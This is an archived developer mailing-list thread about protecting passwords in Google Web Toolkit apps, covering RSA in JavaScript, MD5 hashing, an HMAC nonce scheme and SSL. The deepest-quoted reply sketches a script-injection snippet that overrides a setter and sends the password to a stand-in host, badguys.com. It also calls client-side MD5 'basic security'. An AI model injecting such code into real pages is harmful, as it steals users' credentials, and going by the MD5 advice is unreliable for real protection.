Security is a very complex and wide world. It's not the same an application for a blog with basic security that a back application with a very high security at the browser, communication and server levels.
Usually it's enough using a hash D Peters said. For enterprises, usually I have to use HTTPS to protect the data interchanged too. All depends on the security level that your app requires. On May 20, 3:26 pm, D Peters <[email protected]> wrote: > Ah.. doing an RSA-type transaction over javascript is tricky, but do- > able. But do you really need that level of security? Most web-sites > do not do this -- they merely "hash" the password using one-way > encryption (MD5). There are plenty of js libraries to do this, and > all you would need to do in GWT is wrap the "encode" method with a > JSNI call. A very simple solution offering a basic level of security > (so passwords don't go in clear text over the wire). > > I'm not saying MD5 hashing on the client is great security. You could > intercept the hashed password and do a rainbow attack to find out what > the true password is, or hack the application and use the hashed > password to imitate the user. > > It really depends on how secure your site needs to be.. > > On May 19, 10:15 pm, Mark Renouf <[email protected]> wrote: > > > This is a solved issue, there's many approaches. SSL is the easiest > > but not always needed, or possible (adds latency and scaling > > problems). > > > We use HmacSHA1 client side with GWT, and find it works well for our > > needs. HmacSHA1 is simple enough to implement once you get SHA1 > > working. There's tons of examples out there. I took one that was > > relatively simple Java sample and adjusted it work with GWT. > > > It goes something like this: > > > 1. Server sends random token to client (called a NONCE or "Number used > > once") > > 2. Client computes HmacSHA1(token, passoword+timestamp) and sends the > > resulting signature and the timestamp used back to the server. > > 3. The server performs the same operation and confirms it's computed > > signature matches the one returned by the client and that the > > timestamp is within an acceptable time range. If these conditions are > > met, the client has proven it has the correct password. > > > You can protect against replay by only allowing a token to be used > > once from the same IP address it was sent to. > > > You can extend this easily to do more: > > > If you do this on every request, and include the URL, query parameters > > and key headers in the signature you can secure various web service > > calls. If you compute the MD5 or SHA1 of the body, and include that in > > the Hmac signature as well, then you've got a message integrity check > > on the whole request. > > > If you need to prevent others from seeing the data of the requests at > > all, then SSL is your only real option. > > > On May 19, 8:10 pm, Vitali Lovich <[email protected]> wrote: > > > > First off, good luck trying to disassemble the GWT compiled code - it's > > > hard > > > to read even when you know what the original Java code is doing. > > > > Nextly, I don't think I understand the problem you are presenting - it > > > seems > > > to me that if you have a script-injection exploit in your code, there is > > > no > > > way you can code it to protect the user, since the attacking code can > > > always > > > modify the original code in whatever way is necessary to send the password > > > to the attacker. So whether or not you implement the algorithm in > > > Javascript or not is irrelevant. An algorithm is a step-by-step process, > > > independent of the language used to express it. Security is a property of > > > the algorithm/protocol, not the language. > > > > Exactly how do you "block" the get & set functions? Also, it's not like > > > those functions are standard, so I'm guessing their your equivalent to the > > > more common foo & bar. > > > > On Tue, May 19, 2009 at 6:48 PM, Alyxandor < > > > > [email protected]> wrote: > > > > > You can't attack the post-RSA password field, but if there's any point > > > > along the way that the password is passed inside javascript, it might > > > > be possible for a script-injection attacker to overwrite your > > > > functions / add getter functions to prototypes and post your password > > > > using something like rsa.prototype.set()=function(pass){addHack > > > > ( '<script > > > > src="badguys.com?x='+pass+'/<http://badguys.com?x=%27+pass+%27/>>');...} > > > > Or such. Of course, > > > > you sound like a smart guy who would already override such functions > > > > to prevent an attack, but not everybody thinks to manually block get() > > > > and set(), so having plain-script authentication would let badguys.com > > > > know if it's worth trying or not... --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the Google Groups "Google Web Toolkit" group. To post to this group, send email to [email protected] To unsubscribe from this group, send email to [email protected] For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~----------~----~----~----~------~----~------~--~---
